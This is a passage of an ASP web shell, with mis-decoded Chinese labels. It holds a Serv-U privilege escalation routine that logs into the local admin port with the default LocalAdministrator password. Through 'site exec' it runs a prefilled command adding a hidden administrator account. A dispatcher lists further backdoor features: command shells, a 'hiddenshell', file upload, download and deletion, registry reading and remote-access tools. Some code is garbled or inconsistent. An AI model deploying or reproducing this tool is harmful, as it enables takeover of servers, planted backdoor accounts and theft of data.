j"<input name='u' type='hidden' id='u' value='"&user&"'></td>"
j"<input name='p' type='hidden' id='p' value='"&pass&"'></td>"
j"<input name='port' type='hidden' id='port' value='"&port&"'></td>"
j"<input name='c' type='hidden' id='c' value='"&cmd&"' size='50'>"
j"<input name='f' type='hidden' id='f' value='"&f&"' size='50'>"
j"<input name='SUaction' type='hidden' id='SUaction' value='2'></form>"
j"<script language='javascript'>"
j"document.write('<center>攣瞳젯쌈 127.0.0.1:"&port&",賈痰痰빵츰: "&user&",왯즈："&pass&"...<center>');"
j"setTimeout('document.all.goldsun.submit();',4000);"
j"</script>"
case 2
set b=Server.CreateObject("Microsoft.XMLHTTP")
b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", ""
b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit
set session("b")=b
j"<form method='post' name='goldsun'>"
j"<input name='u' type='hidden' id='u' value='"&user&"'></td>"
j"<input name='p' type='hidden' id='p' value='"&pass&"'></td>"
j"<input name='port' type='hidden' id='port' value='"&port&"'></td>"
j"<input name='c' type='hidden' id='c' value='"&cmd&"' size='50'>"
j"<input name='f' type='hidden' id='f' value='"&f&"' size='50'>"
j"<input name='SUaction' type='hidden' id='SUaction' value='3'></form>"
j"<script language='javascript'>"
j"document.write('<center>攣瞳瓊<E79EB3>홈掘,헝된덤...,<center>');"
j"setTimeout(""document.all.goldsun.submit();"",4000);"
j"</script>"
case 3
set c=Server.CreateObject("Microsoft.XMLHTTP")
a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", ""
a.send loginuser & loginpass & mt & deldomain & quit
set session("a")=a
j"<center>瓊홈供귄,綠獵契죄츱즈：<br><font color=red>"&cmd&"</font><br><br>"
j"<input type=button value=' 럿쀼셨崎 ' onClick=""location.href='?Action=Servu';"">"
j"</center>"
case else
on error resume next
set a=session("a")
set b=session("b")
set c=session("c")
a.abort
Set a = Nothing
b.abort
Set b = Nothing
c.abort
Set c = Nothing
j"<center><form method='post' name='goldsun'>"
j"<table width='494' height='163' border='1' cellpadding='0' cellspacing='1' bordercolor='#666666'>"
j"<tr align='center' valign='middle'>"
j"<td colspan='2'>Serv-U 瓊<>홈掘 by Sam</td>"
j"</tr>"
j"<tr align='center' valign='middle'>"
j"<td width='100'>痰빵츰:</td>"
j"<td width='379'><input name='u' type='text' id='u' value='LocalAdministrator'></td>"
j"</tr>"
j"<tr align='center' valign='middle'>"
j"<td>왯 즈：</td>"
j"<td><input name='p' type='text' id='p' value='#l@$ak#.lk;0@P'></td>"
j"</tr>"
j"<tr align='center' valign='middle'>"
j"<td>똥 왯：</td>"
j"<td><input name='port' type='text' id='port' value='43958'></td>"
j"</tr>"
j"<tr align='center' valign='middle'>"
j"<td>溝固쨌쓺：</td>"
j" <td><input name='f' type='text' id='f' value='"&f&"' size='8'></td>"
j" </tr>"
j" <tr align='center' valign='middle'>"
j" <td>츱　즈：</td>"
j" <td><input name='c' type='text' id='c' value='cmd /c net user admin$ 123456 /add & net localgroup administrators admin$ /add' size='50'></td>"
j" </tr>"
j" <tr align='center' valign='middle'>"
j" <td colspan='2'><input type='submit' name='Submit' value='瓊슥'> "
j"<input type='reset' name='Submit2' value='路零'>"
j"<input name='SUaction' type='hidden' id='action' value='1'></td>"
j"</tr></table></form></center>"
end select
function Gpath()
on error resume next
err.clear
set f=Server.CreateObject("Scripting.FileSystemObject")
if err.number>0 then
gpath="c:"
exit function
end if
gpath=f.GetSpecialFolder(0)
gpath=lcase(left(gpath,2))
set f=nothing
end function
case"MMD":MMD()
case"ReadREG":call ReadREG()
case"Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing
case"DownFile":DownFile FName:ShowErr()
case"DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing
case"EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing
case"CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing
case"MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing
case"DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing
case"CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing
case"MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing
case"NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing
case"UpFile":UpFile()
case"TSearch":TSearch()
case"pcanywhere4":pcanywhere4()
case"Cmd1Shell":Cmd1Shell()
case"Logout":Session.Contents.Remove("kkk"):Response.Redirect URL
case"Course":Course()
case"Alexa":Alexa()
case"suftp":suftp()
case"upload":upload()
case"radmin":radmin()
case"pcanywhere4":pcanywhere4()
case"goback":goback()
Case "ProFile":ProFile()
case"php":php()
case"downloads":downloads()
case"apjdel":apjdel()
case"cmdx":cmdx()
case"aspx":aspx()
case"hiddenshell":hiddenshell()
case"ScanDriveForm" : ScanDriveForm
case"ScanDrive" : ScanDrive Request("Drive")
case"ScFolder"  : ScFolder Request("Folder")
  Case Else MainForm()
End Select
if Action<>"Servu" then ShowErr()
j"</body></html>"
%>